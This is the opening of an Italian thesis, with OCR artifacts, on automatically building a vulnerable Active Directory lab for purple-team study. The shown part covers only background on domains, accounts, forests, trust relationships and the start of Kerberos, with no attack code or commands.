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Abstract

Negli ambiti dell’amministrazione di sistema e della cybersecurity, uno dei temi caldi del
momento ¢ il servizio di gestione Windows Active Directory. Rivale e controparte dei piu lon-
gevi sistemi di amministrazione basati su server Linux, Active Directory ¢ un sistema in rapida
espansione che si ¢ gia guadagnato una considerevole fetta di mercato globale. Sempre piu
utilizzata nelle reti aziendali, piccole e grandi, questa infrastruttura ha permesso una miglior

gestione interna in termini di flessibilita, scalabilita, costi e sicurezza.

Come spesso accade con le tecnologie ancora acerbe, essa garantisce notevoli vantaggi,
ma presenta anche molti difetti. In particolare, i sistemi che si basano su Active Directory, se
non configurati correttamente, sono proni a essere facilmente compromessi sfruttando un’ampia

gamma di vulnerabilita, purtroppo tuttora ancora largamente diffuse.

Obiettivo di questa tesi ¢ la creazione di un progetto che permetta, utilizzando software
per I’automazione, la creazione di un laboratorio basato su Active Directory in cui testare una
tipologia di attacco avanzato, che spesso viene portato a termine con successo da cybercriminali.
Oltre alla presentazione dell’attacco, con fine didattico, vengono fornite anche indicazioni su

come sia in realta possibile difendersi da esso.
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1 Introduzione

Da quando ¢ nata la rete Internet, ormai predominante, essenziale e presente nella vita di tutti
1 giorni, la quantita di dati e servizi che si appoggiano ad essa ¢ cresciuta esponenzialmente
nel tempo. Parallelamente alla sua crescita sono state sviluppate sempre piu soluzioni che
permettono la costruzione e il mantenimento di questi servizi e risorse. Nel corso degli ultimi
40 anni si ¢ delineato un percorso in aumento costante di complessita e capacita di distribuzione,
partendo dai semplici server Linux collegati alla rete di casa e passando poi, nell’ordine, all’uso

di reti distribuite, server farm e soluzioni in Cloud.

Oramai tutte le aziende possiedono e utilizzano una rete interna sia per migliorare la comu-
nicazione tra i vari dipartimenti e I’interfacciamento coi clienti, sia per mantenere una efficace
distribuzione di dati tra ognuna delle filiali. Se inizialmente la presenza delle varie versioni dei
Sistemi Operativi Linux regnava incontrastata in questo ambiente, nell’ultimo periodo sempre
piu soluzioni in ambienti Windows sono state adottate. Questo perché dal 2000 Microsoft ha
realizzato e messo a disposizione il sistema operativo Windows Server 2000 con la prima ver-
sione del servizio Active Directory. Entrambi hanno poi ricevuto aggiornamenti costanti che ne

hanno migliorato caratteristiche e appetibilita, soprattutto per le aziende.

Active Directory € un concetto innovativo che propone una nuova metodologia di ammi-
nistrazione della rete, che si discosta dalle proposte analoghe in ambiente Linux. Sempre piu
aziende, negli ultimi anni, si sono affidate a questa infrastruttura che permette una miglior

gestione interna in termini di flessibilita, scalabilita, costi e sicurezza.

Considerando le varie implicazioni nell’ambito della cybersecurity portate da queste nuove
proposte, sempre piu ricercatori stanno spostando i propri temi di ricerca nello studio dei servizi
messi a disposizione dall’ambiente Active Directory. Notoriamente, gli Hacker criminali sono
quasi sempre i primi a scoprire le vulnerabilita nei sistemi che vogliono compromettere, per cui,
facendo un paragone con I’ambiente sportivo, quando gareggiano arrivano sempre tra i primi.
Per questo motivo, negli ultimi anni, sono nate sempre piu figure che si sono specializzate

nell’assessement di queste reti, come quella del Red Teamer.

Complice il fatto che questa nuova proposta abbia subito un’esplosione nell’utilizzo solo
recentemente, I’ambiente ¢ ancora giovane e pieno di potenzialita, sia per 1 ricercatori che per i

cybercriminali.

Parallelamente alla nascita di queste nuove infrastrutture, anche piattaforme che ne per-
mettono la configurazione automatizzata sono sempre piu sviluppate. Software come Ansi-
ble, Puppet, Terraform e molte altre alternative sono disponibili sul mercato e possono essere
facilmente utilizzate per semplificare e migliorare il processo di costruzione, configurazione,

aggiornamento e monitoraggio delle grandi server farm che vengono utilizzate attualmente.



Il concept di questa tesi ¢ quello di unire tutti gli argomenti appena accennati in modo
da poter realizzare un progetto che porti alla creazione, automatizzata, di un ambiente Active
Directory molto basilare. Partendo da esso poi, viene dimostrato come una configurazione
di default non rispecchi un livello di sicurezza adeguato. Saranno testati e riportati attacchi
avanzati che permettono la facile compromissione della rete. Infine, saranno proposte delle
soluzioni che permettono di mettere in sicurezza, almeno dagli attacchi proposti, I’infrastruttura

generata.

L’ obiettivo proposto ¢ quello di creare, facilmente e velocemente, un ambiente utilizzabile
per la ricerca e la formazione nell’ambito cybersecurity. L’ approccio mantenuto ¢ quello del
purple team, in cui compromettere e difendere una infrastruttura sono operazioni tra di loro
legate e complementari, in cui una dipende dall’altra e viceversa. Parte del progetto di tesi
sara anche dimostrare nel concreto le operazioni che possono essere svolte, da cybercrimina-
li e Penetration Tester, per ottenere privilegi non autorizzati all’interno del sistema; saranno
mostrate, inoltre, le semplici accortezze che devono essere adottate da coloro che si occupano

dell’amministrazione e della sicurezza della rete, per evitare che cio accada.

Infine si sottolinea come una soluzione analoga al progetto, che ¢ stato pensato per fini di
ricerca, possa essere creata e utilizzata facilmente da chi ha intenti criminosi: questi laboratori,
relativamente semplici da creare, possono essere utilizzati da cybercriminali per allenarsi a
compromettere reali infrastrutture target. E’ quindi corretto dire che, anche chi si occupa della
sicurezza interna in ambito aziendale dovrebbe considerare I’ipotesi di usare un laboratorio, in
modo da pianificare correttamente le strategie da adottare per mantenere un livello di sicurezza

adeguato.
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2 Conoscenze preliminari

In questo capitolo vengono fornite le conoscenze preliminari che sono necessarie per la

comprensione dell’elaborato.

Verra presentato il servizio [Active Directory| e messe in luce alcune delle sue caratteristi-

che cardine; ne saranno introdotti i protocolli fondamentali, riferimenti alla loro sicurezza e
a come viene elusa. Infine verranno illustrate le motivazioni che portano alla costruzione dei
Vulnerability Lab: veri e propri laboratori, virtuali e non, creati intenzionalmente vulnerabili.
Considerando la vastita di informazioni reperibile sul web riguardo i temi appena citati, in
questo capitolo sono contenute esclusivamente informazioni utili a comprendere i capitoli suc-
cessivi; tali informazioni sono state selezionate, semplificate, adattate e presentate per agevolare

la comprensione di questo elaborato.

2.1 Introduzione all’Active Directory

L'Active Directory|(AD)) & un servizio e rete di directory sviluppato da Windows e utilizzato

per gestire le risorse [[7] in ambiente aziendale. E’ un sistema distribuito su pill macchine che
appartengono alla stessa rete e che condividono utenti e servizi. L’ obiettivo che si pone ¢ quello
di creare un ambiente complesso in termini di operazioni € meccanismi presenti al suo interno,
ma relativamente semplice da gestire per un Amministratore di Sistema.

In prospettiva ¢ un ambiente che pud essere composto da centinaia di macchine e migliaia
di utenti, interagenti tra di loro attraverso regole prestabilite; alcuni servizi possono essere of-
ferti da determinati server e fruiti da workstation e utenti autorizzati. Tutti 1 meccanismi interni
sono ben delineati da regole, dette policy, che permettono il regolare svolgimento delle varie
operazioni. Queste policy vengono propagate da un server speciale, il cervello centrale dell’in-
frastruttura, a tutti gli altri componenti. Questa gerarchia permette I’effettiva semplificazione
nell’installazione e aggiornamento dei software, nella modifica o recupero delle password, nel-
la configurazione di macchine e utenti, nella gestione di servizi, file e cartelle solo per citarne

alcuni.

L’ Amministratore di Sistema semplicemente delinea le policy nel server piu autoritario e

queste regole vengono aggiornate e utilizzate in tutte le altre componenti della rete

Directory
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I vantaggi principali dell’uso di una rete |Active Directory|sono:

* Struttura a organizzazione gerarchica.

* Singolo punto di accesso per le risorse di rete: una volta che si ¢ autenticati presso una

macchina collegata alla rete si puo usufruire di tutto ci0 a cui si & autorizzati.

* Flessibilita: ¢ possibile sia collegarsi a reti con versioni precedenti di |Active Directory)

rispetto a quella utilizzata, sia interfacciarsi con dispositivi Linux. Questo avviene grazie

ai legami di fiducia.

* Gestione centralizzata: tutti gli elementi che compongono la rete, da macchine a utenti,
possono essere gestiti da un cervello centrale; questo limita il dispendio di risorse, di

tempo e facilita il lavoro agli Amministratori di Sistema.

* Sicurezza uniformata: anche la sicurezza viene gestita in maniera centralizzata; questo
comporta policy uniformabili all’interno del sistema e una minore possibilita di errore nel-
la configurazione degli strumenti per la sicurezza. La centralizzazione comporta inoltre

una minore probabilita che qualche elemento importante sia dimenticato o trascurato.

 Scalabilita: I’infrastruttura ¢ pensata per contenere migliaia di utenti e dispositivi; € pro-
gettata per supportare e soddisfare le esigenze delle organizzazioni in crescita. Modifiche

ed espansioni della rete sono rese di facile implementazione.

* Praticita: la maggior parte dei protocolli e dei servizi vengono forniti gia pronti per I’uso,
sistemi per 1’autenticazione inclusi. La condivisione di risorse, file e stampanti all’in-
terno della rete ¢ facilitata e regolata da protocolli realizzati per questo scopo; dopo una

semplice configurazione iniziale I’infrastruttura ¢ gia operativa e funzionante.

Come tutti i sistemi possiede anche dei difetti, tra cui:

* Complessita: un’infrastruttura complessa richiede una conoscenza approfondita e figure

che siano competenti ed esperte nella sua amministrazione.

* Costi: Windows |Active Directory|richiede una licenza d’uso a pagamento.

* Vulnerabilita: una rete in cui i dispositivi sono cosi legati tra di loro, con risorse e proto-
colli condivisi, comporta un’attenta valutazione delle policy di sicurezza. Una volta che
il perimetro della rete ¢ violato diventa fin troppo semplice compromettere singolarmente

gli elementi che la compongono.

» Compatibilita: |Active Directory| ¢ progettata per reti composte da macchine Windows;

non ¢ compatibile con tutti gli altri sistemi operativi o ambienti disponibili sul mercato.
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* Mantenimento: per garantire prestazioni e sicurezza ottimali, la rete richiede una manu-
tenzione continua e regolare; di fondamentale importanza ¢ I’installazione di aggiorna-

menti e patch che vengono rilasciati con costanza.

Come tutti 1 sistemi € prono ad essere attaccato e compromesso da Hacker e Cybercriminali,
per cui un’attenta configurazione ¢ necessaria. Considerando I’elevato numero di processi e
interconnessioni di questo tipo di rete, la compromissione di un utente o di un host ¢ molto
spesso solo I’inizio di un attacco che puo diventare molto pericoloso, pervasivo, e che colpira
sempre pit componenti dell’infrastruttura.

Nei paragrafi successivi verranno proposti alcuni concetti chiave che caratterizzano un am-
biente [Active Directory|1]][2].

2.1.1 Dominio

Con il termine dominio identifichiamo un’enorme collezione di oggetti contenente tutti gli
account utente, account computer, cartelle condivise, file, stampanti, server, workstation e altri

componenti appartenenti al dominio stesso.

Seppur il dominio sia una rappresentazione virtuale dell’infrastruttura |[Active Directory|che

si viene a creare, le sue caratteristiche sono ben definite e implementate con vari meccanismi
e protocolli; questi concorrono alla corretta esecuzione e fruizione di servizi all’interno del

dominio.

Il dominio ¢ identificato da un nome, ad esempio contoso.local, e un [Security Identifier

(SID), che identifica in maniera univoca il dominio. Il dominio deve anche fornire dei servizi
fondamentali come Domain Services,[DNS|, INTP|e [KD([3]].

Il Domain Services ¢ il servizio principale del sistema, mantiene un database con tutte le
informazioni del dominio e permette la gestione di tutte le operazioni, applicazioni e risorse
della rete. Permette inoltre di delineare le policy che devono poi essere rispettate da tutti i

componenti del dominio.

[1[Domain Name System|(DNS)) gestisce nome e indirizzo di computer, servizi e altre risorse

dellarete. Di fondamentale importanza, questo servizio viene richiesto nella maggior parte delle
comunicazioni che coinvolgono piu di una macchina nel dominio. Tutti i server, le workstation

e i servizi devono essere infatti registrati presso il [DNS[4].

M1 [Network Time Protocoll (NTP)) € il servizio che gestisce la sincronizzazione degli orari tra

i componenti dell’infrastruttura|Active Directory| L’ omologazione temporale ¢ fondamentale in

un sistema basato sulla negoziazione di informazioni che necessitano di un timestamp e di una

scadenzal3].
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11 [Key Distribution Centerl (KDQ) ¢ il servizio che gestisce le chiavi per I’autenticazione

di tutte le macchine e di tutti gli utenti. Ogni componente del dominio deve registrarsi pres-
so questa autorita. Si sottolinea che, come verra approfondito in seguito, anche i servizi e i
legami di fiducia, che sono rappresentati da account di servizio particolari, necessitano di una

registrazione presso il [KDC[6].

Tutti 1 servizi appena presentati sono solitamente resi disponibili su un server particolare,

il [Domain Controller| (DC). 1l [Domain Controller] & il server piu autoritativo all’interno del

dominio. Dati 1 servizi principali che mette a disposizione, ¢ considerato il core del dominio
stesso; tutte le macchine e gli utenti dipendono da esso e dalle informazioni che sono mantenute

nel suo database.

Il |Domain Controllerj¢ una delle caratteristiche piu peculiari del servizio |Active Directory|

ed e quella che permette una gestione cosi agevole di tutta la rete: gli Amministratori di Sistema
si interfacciano principalmente col [DC] che a sua volta provvede a contattare e inoltrare i dati
al resto dei componenti del dominio.

Le altre macchine come i server, le workstation e le stampanti, una volta configurate, devono

essere registrate presso il|Domain Controlleryperché possano utilizzare i protocolli messi a loro

disposizione; allo stesso modo utenti e gruppi devono essere creati e inseriti nel database del
[Ddin modo tale da poter utilizzare i servizi proposti. Altri servizi che vengono resi disponibili
all’interno del dominio sono i piu disparati: puo essere presente un server web interno o esterno,
stampanti condivise, database [Microsoft SOL Server (MSSQIL) e protocolli di condivisione file
come [Server Message Block| (SMB)).

Varie workstation saranno poi presenti all’interno della rete in modo da consentire ai vari

dipendenti dell’azienda 1’esecuzione delle loro ordinarie mansioni lavorative. Spesso vengono

anche utilizzati servizi di[Virtual Private Network| (VPN) per permettere agli utenti di collegarsi

all’infrastruttura |Active Directorylaziendale anche da remoto, utilizzando le workstation.
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contoso.local

Figura 1: Rappresentazione stilizzata di un dominio.

’immagine appena mostrata ¢ la rappresentazione stilizzata di un dominio, utile a com-
prendere al meglio le informazioni fornite in precedenza. Il dominio di esempio, contoso.local,

¢ rappresentato dal triangolo colorato in azzurro. Al suo interno, in alto, si puo vedere il

lmain Controller|(in viola) che ricopre la posizione di autorita; sotto si possono distinguere tutte

le altre macchine che dipendono da esso, come 1 vari server (in verde) che offrono ciascuno il
proprio servizio, le workstation (in blu) che gli impiegati utilizzano e infine gli altri dispositivi
(in rosso) come telefoni cellulari, laptop o stampanti. Questi elementi nel loro insieme formano

il dominio contoso.local.

2.1.2 Utenti, Macchine e Servizi

Si prenda ora in considerazione un’infrastruttura |Active Directory che ¢ composta da piu

di un dominio. A volte alcune aziende necessitano di questo tipo di configurazione per motivi
logistici. Fondamentale ¢ capire che di default il dominio ¢ una unita a sé stante e isolata. Cio

che ¢ dentro al dominio non si interfaccia con cio che invece risiede fuori, e viceversa.
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In questo modo ¢ preservata, in teoria, la sicurezza degli host tramite compartimentazione:
se un dominio viene compromesso, questo non avra un impatto sugli altri domini all’interno
della stessa rete, se ciascuno ¢ isolato dagli altri. Questo ragionamento funziona solo in teoria
e, come sara presentato successivamente, determinate configurazioni possono far si che questa
compartimentazione venga violata. Comunque, ¢ importante comprendere cosa comporti questa

tipologia di organizzazione.

In primo luogo viene definita I’idea di account all’interno della rete Active Directory. Si

possono dividere le varie tipologie di account in tre gruppi: utente, macchina e servizio.

Gli account utente sono i normali account che vengono impiegati dal personale dell’azienda
o da chi usufruisce della rete. Vengono utilizzati da persone reali e sono protetti da password
che possono essere pit 0 meno complesse. Generalmente gli Amministratori di Sistema impo-
stano le regole sulle password da utilizzare, all’interno del dominio, nelle policy; 1 parametri
pit utilizzati sono ad esempio una lunghezza minima o massima, il livello di complessita e 1’in-
serimento di caratteri numerici e/o speciali. Rispettando queste policy, generalmente, gli utenti
di questo tipo possono poi scegliere autonomamente la propria password. Ovviamente, in linea
di principio queste password, se non scelte accuratamente, possono essere semplici e quindi
vulnerabili ad attacchi a forza bruta. Un’altra caratteristica importante degli account utente ¢
I'username. Anche questo generalmente ¢ ben definito dalle policy e permette di uniformare
tutti i nomi utente dei dipendenti in azienda. Se si considera, ad esempio, un uomo di nome
Devis Cook, le proposte che vengono maggiormente adottate sono nomi utente come deviscook,
devis.cook, dcook, d.cook solo per citarne alcune. In questo elaborato si utilizzera la notazione
utente come nome.cognome, in questo caso devis.cook. L’utente utilizzera il proprio account

per accedere a tutte le risorse e servizi che vengono messi a disposizione all’interno della rete.

La seconda tipologia che viene presa in considerazione ¢ 1I’account macchina. A ogni server,

workstation, stampante, laptop e altro dispositivo che ¢ parte della rete|Active Directory|e asse-

gnato un account macchina. Questi hanno come username I’ hostname della macchina seguito
dal simbolo $. Ad esempio, a una workstation che ha come hostname WORK15 sara assegna-
to I’account macchina WORK158. La password viene generata dal sistema, di conseguenza ¢

molto sicura e difficile da compromettere. Dopo la configurazione iniziale, quando una mac-

china viene avviata, utilizza sempre il proprio account per autenticarsi al|[Domain Controllerdi

riferimento.

La terza tipologia presente ¢ 1’account di servizio. Innanzitutto, la nomenclatura utilizzata
per il nome ¢ analoga a quella degli account macchina: un account per il servizio CONFIG
avra come username CONFIGS$. Per ogni servizio che viene messo a disposizione all’interno
del dominio, di qualsiasi tipo, deve esistere un account di servizio corrispondente. Esistono
service account di sistema come KRBTGTS$, che verra trattato in seguito, e service account per
servizi gestiti da utenti. Di conseguenza si ha nel primo caso una password sicura generata

dal sistema, nel secondo caso, invece, una password meno sicura scelta da chi crea il servizio.

16



Questi service account sono fondamentali sia per fornire il servizio, sia per poterne usufruire;

maggiori dettagli sulla negoziazione dei servizi verra fornita in seguito.

In secondo luogo, viene definito il rapporto che c’¢ tra i vari account e il dominio, cioe
molti a uno. In particolare significa che ogni account puo essere associato a un solo domi-

nio mentre quest’ultimo pud contenere molti account; ogni utente appartiene sempre € solo a

un dominio, quindi si autentichera solo presso il |Domain Controller{ di quel dominio; per le

macchine il discorso ¢ analogo, ognuna sussiste in un solo dominio e si autentica presso il
di riferimento. Leggermente diverso ¢ il meccanismo per i servizi, in quanto essi non devono
propriamente autenticarsi. Comunque, ciascuno di essi dipende da un service account e vie-
ne fornito tramite una macchina, per cui indirettamente rientra nei due casi precedenti. Come
si pud immaginare, normalmente, 1 servizi in un dominio X sono utilizzati esclusivamente da
utenti che appartengono allo stesso dominio X; questo avviene per mantenere la sicurezza sfrut-
tando la compartimentazione e limitando il possibile utilizzo di risorse da parte di esterni. Nei
prossimi paragrafi saranno introdotte delle configurazioni che permettono di superare questa

limitazione nell’uso dei servizi.

2.1.3 Foresta

L’idea di dominio che ¢ stata presentata nei paragrafi precedenti puo essere facilmente

scalata ed espansa col concetto di foresta[7].

Ad esempio, si prenda come modello un’azienda che mantiene una infrastruttura
con un singolo dominio e si trovi nella necessita di dover espandere la propria rete e
aggiungere, per mantenerne la semplicita, ulteriori domini.

Dati due domini, essi sono di default non legati tra di loro. Di conseguenza un utente di
un dominio A non puo usufruire dei servizi proposti in un dominio B. Perché cio invece sia
possibile ¢ necessario che vengano instaurati legami di fiducia tra domini, argomento che verra
trattato nel dettaglio nel prossimo paragrafo.

La soluzione piu semplice da adottare, utilizzando questi legami di fiducia, ¢ quello di creare
una foresta. Essa ¢ un insieme di domini che mantengono tra di loro legami padre-figlio. Questa
tipologia di legami permette di mantenere livelli di gerarchia diversi tra i domini in quanto i figli
si trovano gerarchicamente in un livello piu in basso del loro padre. Ogni dominio puo avere

solo un singolo dominio padre ma piu di un dominio figlio.

Di seguito viene presentata un’immagine che permette di assimilare al meglio i concetti

appena presentati e di introdurne dei nuovi.
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trust’ contoso.local “trust
a7 Tea
ra ) >
hr.contoso.local .~ web.contoso.local .
trust trust
e 4
management.web.contoso.local app.web.contoso.local

Figura 2: Rappresentazione stilizzata di una foresta.

La figura precedente permette di comprendere al meglio I’infrastruttura aziendale presa in
considerazione. A partire dal dominio iniziale, contoso.local, si potrebbe decidere di aggiun-
gere due domini, hr.contoso.local e web.contoso.local, che rispettivamente conterranno le ri-
sorse e 1 servizi necessari al dipartimento di risorse umane e al dipartimento che si occupa
della tecnologia web. Questi due domini sono stati aggiunti utilizzando i legami padre-figlio,
che in figura sono rappresentati dalle frecce tratteggiate con etichetta trust. Il processo che &
stato appena descritto pud essere poi ripetuto infinite volte. Sempre in figura si vede che a
web.contoso.local sono stati legati in maniera analoga i domini management.web.contoso.local
e app.web.contoso.local che rispettivamente rappresentano i domini che contengono le risorse

per ’amministrazione dei servizi web e le risorse per lo sviluppo delle applicazioni web.

La notazione che viene utilizzata ¢ fondamentale per comprendere facilmente i legami di
parentela. Un dominio figlio avra sempre come parte del nome il nome del dominio padre,
preceduto dal sottodominio proprio del figlio. Ad esempio il sottodominio Ar, figlio di con-
toso.local ha come nome di dominio hr.contoso.local. Oppure, il sottodominio app, figlio del
dominio web.contoso.local, ha come nome app.web.contoso.local.

Per semplicita viene chiamato tree un gruppo di domini formato da un padre e dai suoi figli.

In figura si puo vedere che web.contoso.local ¢ 1l padre di un piccolo tree contenente due figli.
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Questa regole nella notazione permettono di risolvere molto velocemente i1 gradi di paren-
tela, senza aver necessita di conoscere ulteriori informazioni. Ad esempio, i domini manage-
ment.web.contoso.local e hr.contoso.local non hanno legami di parentela padre-figlio, neanche
pit in alto nella gerarchia. Infatti analizzando il primo sottodominio per ciascun nome, si ha hr
nel caso di hr.contoso.local mentre allo stesso livello per management.web.contoso.local si ha
web. Di conseguenza si deduce immediatamente che, anche senza aver informazioni sui pos-
sibili figli di hr.contoso.local, sicaramente hr.contoso.local e management.web.contoso.local
appartengono a due tree diversi, il primo con padre hr.contoso.local (quindi in questo caso se

stesso), il secondo con padre web.contoso.local.

L’insieme dei domini, nel totale, determina invece la vera e propria foresta. Il numero di
tree non ¢ determinante nella sua creazione: una foresta puo essere composta sia da decine di
tree con centinaia di figli, sia da una semplice coppia di domini padre-figlio che determinano
un free molto piccolo. Il nome della foresta ¢ dato dal nome del dominio piu autoritario € in
alto nella gerarchia. Quindi il nome della foresta nell’immagine precedente ¢ contoso.local.
Considerando nuovamente quanto presentato in precedenza, se da un lato hr.contoso.local e
management.web.contoso.local non hanno legami di parentela in quanto appartengono a due
tree diversi, dall’altro di deduce immediatamente che appartengono alla stessa foresta in quanto
il nome di entrambi contiene il nome della foresta contoso.local.

L’ultimo concetto fondamentale riguardante la foresta ¢ che il dominio piu in alto nella
gerarchia ¢ anche il piu autoritario e prende il nome di dominio root. Questo dominio ¢ il piu
importante, in quanto ¢ I’'unico che possiede i privilegi di amministrazione su tutti i domini della

foresta.

2.1.4 Trust

In questo paragrafo vengono presentati i legami di fiducia, denominati zrust, le loro tipologie

e le loro caratteristiche[§]].

I legami di fiducia sono molto importanti in ambiente |Active Directory, permettono all’u-

tente di un dominio A di poter usufruire anche dei servizi del dominio B, se ne ¢ autorizzato;
questo non puo avvenire se i domini A € B non mantengono un legame di frust tra di loro. |
legami di questo tipo non sono fisici ma rimangono virtuali; cid nonostante sono vincolati da

regole e protocolli di comunicazione.

I legami di fiducia hanno sempre una direzione. Si consideri un dominio A che stringe un
legame di fiducia col dominio B. Si dice che A ¢ il dominio che si fida mentre B ¢ il dominio
fidato; in inglese la notazione corretta ¢ trusts per A e trusted per B. Di default, il dominio
trusted puo accedere, se ne ha 1’autorizzazione, ai servizi del dominio trusts, ma non viceversa.
Quindi, in questo caso B puo accedere ai servizi di A ma non ¢ permesso il contrario. Quello

che ¢ appena stato descritto ¢ un legame frust a una via. Di seguito una figura esplicativa.
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domainA.org domainB.org

Figura 3: Rappresentazione stilizzata di un legame di fiducia a una via.

Alternativamente possono essere utilizzati legami a due vie che permettono a entrambi i
domini di essere sia trusts che trusted, per cui B puo accedere ai servizi di A ma anche A puo

accedere ai servizi di B.

------------------------ trust----------------mooo
- accesso
- eiesememnineee trust-----------moee
-------------- accesso------------p
domainA.org domainB.org

Figura 4: Rappresentazione stilizzata di un legame di fiducia a due vie.

I legami di fiducia possono, ovviamente, sussistere contemporaneamente tra pitt domini; di

seguito un esempio che ne coinvolge tre diversi.

domainA.org domainB.org domainC.org

Figura 5: Rappresentazione stilizzata di legami non transitivi.

Nella figura precedente ¢ presente un insieme di legami non transitivi tra domini. Infatti il

dominio A trusts il dominio B, che ¢ trusted e quindi ha accesso alle risorse del dominio A.
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Specularmente il dominio B trusts il dominio C, che ¢ trusted e quindi puo usufruire dei
servizi presenti nel dominio B. I domini A e C non mantengono legami di fiducia tra di loro, per
cui non sono comunicanti. Per evitare questo inconveniente possono essere utilizzati dei legami

transitivi. Di seguito la rappresentazione di uno di essi.

domainA.org domainB.org . domainC.org

----accesso "7

Figura 6: Rappresentazione stilizzata di legami transitivi.

Invece di aggiungere un ulteriore legame non transitivo tra i domini A e C, si possono
rendere i legami gia presenti transitivi. In questo modo, siccome il dominio B trusts il dominio
C e il dominio A trusts il dominio B, allora il dominio B puo fare da ponte in modo tale che
A si fidi anche di C, e renda disponibili le proprie risorse all’accesso di quest’ultimo. Quando
vengono utilizzati legami di questo tipo, si consideri che C ha accesso diretto solo virtualmente
alle risorse di A; in realta avviene una comunicazione che coinvolge, in ordine, tutti i domini che
concomitano nel legame di fiducia transitivo complessivo; quindi, nel caso presentato, anche B
partecipa nella pratica allo scambio di dati; se il legame coinvolgesse 10 diversi domini, ognuno
negozierebbe informazioni con quello successivo nella catena, aumentando la complessita e la

latenza della comunicazione.

Siano ora prese in considerazione le 5 tipologie di legami che possono essere instaurati[8]].
La prima di esse ¢ il legame padre-figlio, il legame transitivo che si instaura tra domini che si
trovano all’interno di una foresta. Le meccaniche di questo tipo di legame sono state presentate
nel paragrafo precedente. In riferimento alla figura gia mostrata che viene riproposta di seguito e
alle nozioni introdotte in questo paragrafo, si consideri che se il dominio app.web.contoso.local
vuole comunicare con hr.contoso.local 1a negoziazione coinvolgera tutto il free di riferimen-
to fino al root della foresta. La richiesta verra quindi inoltrata da app.web.contoso.local a
web.contoso.local che la inviera a contoso.local che infine la spedira a hr.contoso.local. Una

eventuale risposta dovra ripercorrere questo tragitto in senso contrario.
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v B -
trust’ contoso.local “trust_

- Tea

ra Y
hr.contoso.local -~ web.contoso.local .
trust trust

‘.’ \

management.web.contoso.local app.web.contoso.local

Figura 7: Rappresentazione dei legami padre-figlio.

La seconda tipologia di legame presentata ¢ lo Shortcut. E’ pensata per risolvere il problema
principale del legame appena presentato: la latenza. Se ci si aspetta che due domini all’interno
della foresta abbiano necessita di comunicazioni frequenti si puo instaurare tra di loro un le-
game diretto in modo che lo scambio di dati non coinvolga altri domini, che ne diminuirebbe
la latenza. Di seguito un esempio in cui il dominio app.web.contoso.local stringe un legame

Shortcut col dominio hr.contoso.local.

trust’ contoso.local “trust__
o .
E >
hr.contoso.local .~ web.contoso.local *.

trust trust

4 . .

/ -~ «

management.web.contoso.local app.web.contoso.local

T shorteutstrust- -

Figura 8: Rappresentazione di un legame a una via Shortcut.
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Il terzo legame presentato prende il nome di Forest. Questo viene instaurato tra i domini
root di due foreste diverse e in questo modo ogni foresta mantiene un legame di fiducia con
I’altra. Nella figura di seguito le foreste contoso.local e green.local si fidano reciprocamente e

possono accedere I’una ai servizi dell’altra.

« | I\
_trust contoso.local trust + green.docal .

- » A.green.ocal B.green.local
web.contoso local -,

hr.contoso.local .
trust rust

- .

management.web.conteso.local app.web.contoso.local

Figura 9: Rappresentazione di un legame a due vie Forest.

Il quarto legame, chiamato External, nasce con I’intento di depotenziare i meccanismi pro-
posti dal legame precedente e viene instaurato tra due domini che si trovano in foreste diverse.
Nell’esempio seguente web.contoso.local si fida esclusivamente del dominio A.green.local, non

di tutta la foresta green.local, e 1o fa utilizzando il legame External.

oo forghtrust------------------- -

g . «
o green.local\\
.

st contoso.local Ttrust )
- S 3 .
SEEERE external-trust - - -» A
- > A.green.local B.green.local
hr.contoso.local ; web. contoso. local .
trust trust
= 4
management.web.contoso.local app.web.contoso.local

Figura 10: Rappresentazione di un legame a una via External.
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Il quinto e ultimo tipo di legame possibile ¢ il Realm. E’ un legame di tipo diverso da tutti

quelli proposti in precedenza. Si utilizza quando si vuole collegare a una infrastruttura basata

suActive Directoryl e quindi Windows Server, un dominio invece non Windows. In figura, un

esempio in cui si vuole collegare con un legame di fiducia il dominio contoso.local € un dominio

Linux.

g S ™

realm-trust
_ftrust contoso.local trust L
‘_ '-.‘ -
ey
E...
- k\
hr.contoso.local web contoso, local -, -
trust !.rl.l.S'[
J'.‘ Y
linux.local
management.web.contoso.local app.web.contoso.local

Figura 11: Rappresentazione del legame Realm.

Viene presentato ora come i legami di fiducia vengono mantenuti nella pratica tra due domi-
ni, importante per comprendere contesti che verranno esposti successivamente. In primo luogo
tutti i legami di fiducia vengono instaurati tra due singoli domini, compreso il legame Forest
che viene stretto tra i due domini root delle foreste coinvolte. Siano presi come esempio i due

domini contoso.local e web.contoso.local che vogliono stringere un legame di fiducia generico.

I1 legame di fiducia vero e proprio viene stretto tra i [Domain Controller di ciascuno dei due

domini e questo patto viene siglato con la creazione di un account di servizio per parte. Si noti
che gli account di servizio terminano sempre col carattere $. Gli account creati prendono il

nome del primo sottodominio del dominio con cui si stringe il legame.

Nel caso appena presentato, quindi, il |Domain Controller{di contoso.local crea un account

di servizio con nome WEBS$. Parallelamente il [Domain Controllerl di web.contoso.local crea

un account di servizio con nome CONTOSOS$. La particolarita di questi due account & che

nonostante si trovino su macchine diverse e abbiano nomi differenti, sono protetti dalla stessa

password e i due [Domain Controllery mantengono nel proprio database due hash uguali[9]].
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2.1.5 Kerberos

Kerberos ¢ un protocollo di rete per I’autenticazione forte che permette a diversi terminali
di comunicare su una rete informatica insicura provando la propria identita mediante 1’utilizzo

di tecniche di crittografia simmetrica[10].

Il protocollo Kerberos permette 1’ autenticazione tra le parti coinvolte che si affidano a un’en-
tita terza, esterna, autoritaria e affidabile. In particolare, si consideri un’autenticazione che deve
essere svolta tra A e B, che si affidano a un server [Key Distribution Center] (KDC). Quest’ul-

timo, a sua volta, & diviso logicamente in due parti separate, I'JAuthentication Server (AS) e il

[Ticket-Granting-Server (TGS)). 1l sistema di negoziazione che viene utilizzato dalle parti si basa

su ticket, che hanno il compito di comprovare la propria identita.

Per crittografia simmetrica si intende un sistema in cui le parti si scambiano delle chiavi che
sono uguali tra di loro. Ad esempio se A e B si scambiano la chiave K e uno di essi crittografa un
messaggio con tale chiave, 1’altro sara in grado di decrittografarlo. Questo ¢ possibile in quanto

possiede il segreto K condiviso. Nel protocollo Kerberos, invece, le parti forniscono la propria

chiave all’|Authentication Server} e di conseguenza ci si trova nella situazione cosi proposta:

* A possiede la propria chiave Ka
* B possiede la propria chiave Kb

* [AS] possiede le chiavi delle parti, quindi sia Ka, sia Kb. Inoltre possiede la chiave del
[Ticket-Granting-Serven, Ktgs.

Di seguito vengono riportati tutti i passaggi che compongono 1’autenticazione di A verso
B[L1][12].

Authentication S
Server Eatsmen

Kerberos

A 3) TGS

'y

4)

6)

Figura 12: Negoziazione Kerberos generica.



